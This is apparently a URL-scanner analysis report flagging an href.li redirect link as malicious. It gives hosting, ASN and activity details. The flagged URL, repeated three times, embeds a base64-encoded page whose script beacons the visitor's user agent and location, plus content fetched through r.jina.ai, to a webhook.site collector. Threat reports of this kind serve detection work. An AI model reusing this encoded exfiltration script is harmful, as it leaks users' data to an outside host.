DigiCert UltraDNS Sinkholed
VerdictMalicious
Severitymedium
WEBSITE ANALYSIS REPORT
http://href.li/?https%3A%2F%2Fhttpbun.com%2Fbase64%2FPCFkb2N0eXBlIGh0bWw%252BPG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT5ZSFkgSklOQSBMT0FESU5HPC90aXRsZT48cHJlIGlkPSJvIj5sb2FkaW5nPC9wcmU%252BPHNjcmlwdD4KY29uc3QgV0g9J2h0dHBzOi8vd2ViaG9vay5zaXRlLzhmOGEwODhlLTc3NTUtNDUzZi05OTNjLTNkZjNlNmI3ZWU2Yyc7CmZ1bmN0aW9uIGxlYWsoayxkKXt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oV0grJz9raW5kPScrZW5jb2RlVVJJQ29tcG9uZW50KGspLCBuZXcgQmxvYihbZF0se3R5cGU6J3RleHQvcGxhaW47Y2hhcnNldD11dGYtOCd9KSk7fWNhdGNoKGUpe319CmxlYWsoJ3N0YXJ0JywgbmF2aWdhdG9yLnVzZXJBZ2VudCsnfCcrbG9jYXRpb24uaHJlZik7CmNvbnN0IHVybHM9WwogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UvJywKICdodHRwczovL3IuamluYS5haS93d3cuYW1hcC5jb20vcGxhY2UvQjAwMEE3TzFDVScsCiAnaHR0cHM6Ly9yLmppbmEuYWkvYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL2FwaS9nZXRQb2lJbmZvP2lkPUIwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vd3d3LmFtYXAuY29tL2RldGFpbC9nZXQvZGV0YWlsP2lkPUIwMDBBN08xQ1UnCl07Cihhc3luYygpPT57CiBmZXRjaCgnL2RlbGF5LzU1P209eWh5djMnKS5jYXRjaCgoKT0%252Be30pOwogbGV0IG91dD0nJzsKIGZvcihsZXQgaT0wO2k8dXJscy5sZW5ndGg7aSsrKXt0cnl7CiAgbGV0IHI9YXdhaXQgZmV0Y2godXJsc1tpXSx7aGVhZGVyczp7J1gtQ2FjaGUtVG9sZXJhbmNlJzonMjU5MjAwMCcsJ0FjY2VwdCc6J3RleHQvcGxhaW4nfX0pOwogIGxldCBocz0nJzsgci5oZWFkZXJzLmZvckVhY2goKHYsayk9PmhzKz1rKyc6ICcrdisnXG4nKTsKICBsZXQgdD1hd2FpdCByLnRleHQoKTsKICBsZWFrKCdoZWFkZXJzJytpLCByLnN0YXR1cysnICcrci51cmwrJ1xuJytocyk7CiAgZm9yKGxldCBwPTA7cDx0Lmxlbmd0aDtwKz00NTAwMCkgbGVhaygnYm9keScraSsnLScrcCwgdC5zbGljZShwLHArNDUwMDApKTsKICBvdXQrPSdcbj09PSBVUkwnK2krJyBzdGF0dXM9JytyLnN0YXR1cysnIGxlbj0nK3QubGVuZ3RoKycgPT09XG4nK3Quc2xpY2UoMCwyNTAwKSsnXG4nOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvJykudGV4dENvbnRlbnQ9b3V0OwogfWNhdGNoKGUpe2xlYWsoJ2Vycm9yJytpLCBTdHJpbmcoZSkrJ1xuJysoZS5zdGFja3x8JycpKTsgb3V0Kz0nXG49PT0gVVJMJytpKycgRVJST1IgJytTdHJpbmcoZSkrJ1xuJzsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ28nKS50ZXh0Q29udGVudD1vdXQ7fX0KIGxlYWsoJ2RvbmUnLCdvaycpOwp9KSgpOwo8L3NjcmlwdD4K
public
Report summary
Submitted and final observations · captured HTTP activity
- Submitted URL
- http://href.li/?https%3A%2F%2Fhttpbun.com%2Fbase64%2FPCFkb2N0eXBlIGh0bWw%252BPG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT5ZSFkgSklOQSBMT0FESU5HPC90aXRsZT48cHJlIGlkPSJvIj5sb2FkaW5nPC9wcmU%252BPHNjcmlwdD4KY29uc3QgV0g9J2h0dHBzOi8vd2ViaG9vay5zaXRlLzhmOGEwODhlLTc3NTUtNDUzZi05OTNjLTNkZjNlNmI3ZWU2Yyc7CmZ1bmN0aW9uIGxlYWsoayxkKXt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oV0grJz9raW5kPScrZW5jb2RlVVJJQ29tcG9uZW50KGspLCBuZXcgQmxvYihbZF0se3R5cGU6J3RleHQvcGxhaW47Y2hhcnNldD11dGYtOCd9KSk7fWNhdGNoKGUpe319CmxlYWsoJ3N0YXJ0JywgbmF2aWdhdG9yLnVzZXJBZ2VudCsnfCcrbG9jYXRpb24uaHJlZik7CmNvbnN0IHVybHM9WwogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UvJywKICdodHRwczovL3IuamluYS5haS93d3cuYW1hcC5jb20vcGxhY2UvQjAwMEE3TzFDVScsCiAnaHR0cHM6Ly9yLmppbmEuYWkvYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL2FwaS9nZXRQb2lJbmZvP2lkPUIwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vd3d3LmFtYXAuY29tL2RldGFpbC9nZXQvZGV0YWlsP2lkPUIwMDBBN08xQ1UnCl07Cihhc3luYygpPT57CiBmZXRjaCgnL2RlbGF5LzU1P209eWh5djMnKS5jYXRjaCgoKT0%252Be30pOwogbGV0IG91dD0nJzsKIGZvcihsZXQgaT0wO2k8dXJscy5sZW5ndGg7aSsrKXt0cnl7CiAgbGV0IHI9YXdhaXQgZmV0Y2godXJsc1tpXSx7aGVhZGVyczp7J1gtQ2FjaGUtVG9sZXJhbmNlJzonMjU5MjAwMCcsJ0FjY2VwdCc6J3RleHQvcGxhaW4nfX0pOwogIGxldCBocz0nJzsgci5oZWFkZXJzLmZvckVhY2goKHYsayk9PmhzKz1rKyc6ICcrdisnXG4nKTsKICBsZXQgdD1hd2FpdCByLnRleHQoKTsKICBsZWFrKCdoZWFkZXJzJytpLCByLnN0YXR1cysnICcrci51cmwrJ1xuJytocyk7CiAgZm9yKGxldCBwPTA7cDx0Lmxlbmd0aDtwKz00NTAwMCkgbGVhaygnYm9keScraSsnLScrcCwgdC5zbGljZShwLHArNDUwMDApKTsKICBvdXQrPSdcbj09PSBVUkwnK2krJyBzdGF0dXM9JytyLnN0YXR1cysnIGxlbj0nK3QubGVuZ3RoKycgPT09XG4nK3Quc2xpY2UoMCwyNTAwKSsnXG4nOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvJykudGV4dENvbnRlbnQ9b3V0OwogfWNhdGNoKGUpe2xlYWsoJ2Vycm9yJytpLCBTdHJpbmcoZSkrJ1xuJysoZS5zdGFja3x8JycpKTsgb3V0Kz0nXG49PT0gVVJMJytpKycgRVJST1IgJytTdHJpbmcoZSkrJ1xuJzsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ28nKS50ZXh0Q29udGVudD1vdXQ7fX0KIGxlYWsoJ2RvbmUnLCdvaycpOwp9KSgpOwo8L3NjcmlwdD4K
- Submitted IP / ASN
192.0.78.26 AS2635 · Automattic, Inc
- Final URL
- https://href.li/?https%3A%2F%2Fhttpbun.com%2Fbase64%2FPCFkb2N0eXBlIGh0bWw%252BPG1ldGEgY2hhcnNldD0idXRmLTgiPjx0aXRsZT5ZSFkgSklOQSBMT0FESU5HPC90aXRsZT48cHJlIGlkPSJvIj5sb2FkaW5nPC9wcmU%252BPHNjcmlwdD4KY29uc3QgV0g9J2h0dHBzOi8vd2ViaG9vay5zaXRlLzhmOGEwODhlLTc3NTUtNDUzZi05OTNjLTNkZjNlNmI3ZWU2Yyc7CmZ1bmN0aW9uIGxlYWsoayxkKXt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oV0grJz9raW5kPScrZW5jb2RlVVJJQ29tcG9uZW50KGspLCBuZXcgQmxvYihbZF0se3R5cGU6J3RleHQvcGxhaW47Y2hhcnNldD11dGYtOCd9KSk7fWNhdGNoKGUpe319CmxlYWsoJ3N0YXJ0JywgbmF2aWdhdG9yLnVzZXJBZ2VudCsnfCcrbG9jYXRpb24uaHJlZik7CmNvbnN0IHVybHM9WwogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL3BsYWNlL0IwMDBBN08xQ1UvJywKICdodHRwczovL3IuamluYS5haS93d3cuYW1hcC5jb20vcGxhY2UvQjAwMEE3TzFDVScsCiAnaHR0cHM6Ly9yLmppbmEuYWkvYW1hcC1wYy1zc3IuYW1hcC5jb20vc3NyL2FwaS9nZXRQb2lJbmZvP2lkPUIwMDBBN08xQ1UnLAogJ2h0dHBzOi8vci5qaW5hLmFpL2h0dHBzOi8vd3d3LmFtYXAuY29tL2RldGFpbC9nZXQvZGV0YWlsP2lkPUIwMDBBN08xQ1UnCl07Cihhc3luYygpPT57CiBmZXRjaCgnL2RlbGF5LzU1P209eWh5djMnKS5jYXRjaCgoKT0%252Be30pOwogbGV0IG91dD0nJzsKIGZvcihsZXQgaT0wO2k8dXJscy5sZW5ndGg7aSsrKXt0cnl7CiAgbGV0IHI9YXdhaXQgZmV0Y2godXJsc1tpXSx7aGVhZGVyczp7J1gtQ2FjaGUtVG9sZXJhbmNlJzonMjU5MjAwMCcsJ0FjY2VwdCc6J3RleHQvcGxhaW4nfX0pOwogIGxldCBocz0nJzsgci5oZWFkZXJzLmZvckVhY2goKHYsayk9PmhzKz1rKyc6ICcrdisnXG4nKTsKICBsZXQgdD1hd2FpdCByLnRleHQoKTsKICBsZWFrKCdoZWFkZXJzJytpLCByLnN0YXR1cysnICcrci51cmwrJ1xuJytocyk7CiAgZm9yKGxldCBwPTA7cDx0Lmxlbmd0aDtwKz00NTAwMCkgbGVhaygnYm9keScraSsnLScrcCwgdC5zbGljZShwLHArNDUwMDApKTsKICBvdXQrPSdcbj09PSBVUkwnK2krJyBzdGF0dXM9JytyLnN0YXR1cysnIGxlbj0nK3QubGVuZ3RoKycgPT09XG4nK3Quc2xpY2UoMCwyNTAwKSsnXG4nOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvJykudGV4dENvbnRlbnQ9b3V0OwogfWNhdGNoKGUpe2xlYWsoJ2Vycm9yJytpLCBTdHJpbmcoZSkrJ1xuJysoZS5zdGFja3x8JycpKTsgb3V0Kz0nXG49PT0gVVJMJytpKycgRVJST1IgJytTdHJpbmcoZSkrJ1xuJzsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ28nKS50ZXh0Q29udGVudD1vdXQ7fX0KIGxlYWsoJ2RvbmUnLCdvaycpOwp9KSgpOwo8L3NjcmlwdD4K
- Final IP / ASN
- 192.0.78.26 AS2635 · AUTOMATTIC
Final page
- Page title
- href.li: hide your referrer
- Final DOM MIME
- text/html; charset=utf-8
- Final DOM size
- 1.7 KB (1752 bytes)
Detections
Activity
- HTTP requests
- 3
- Observed hosts
- 1
- Script records
- 1
Estimated HTTP data
- Sent
- ~7.2 KB
- Received
- ~6.4 KB
Page capture
Final browser state
Detection signals
URLQuery findings, Threat Detection Systems, and IDS alerts
Threat Detection Systems
1Host infrastructure
Observed hosts are context, not independent maliciousness verdicts
| Host | Rank | Registered | First seen | Last seen | Sent | Received | IP | Fingerprints |
|---|---|---|---|---|---|---|---|---|
| href.li 3 alerts | 30988 | N/A | 2012-05-22 | 2026-10-05 | 7.2 KB | 6.4 KB | 192.0.78.26 | Nginx Web servers, Reverse proxies Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache. HSTS Security HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS. |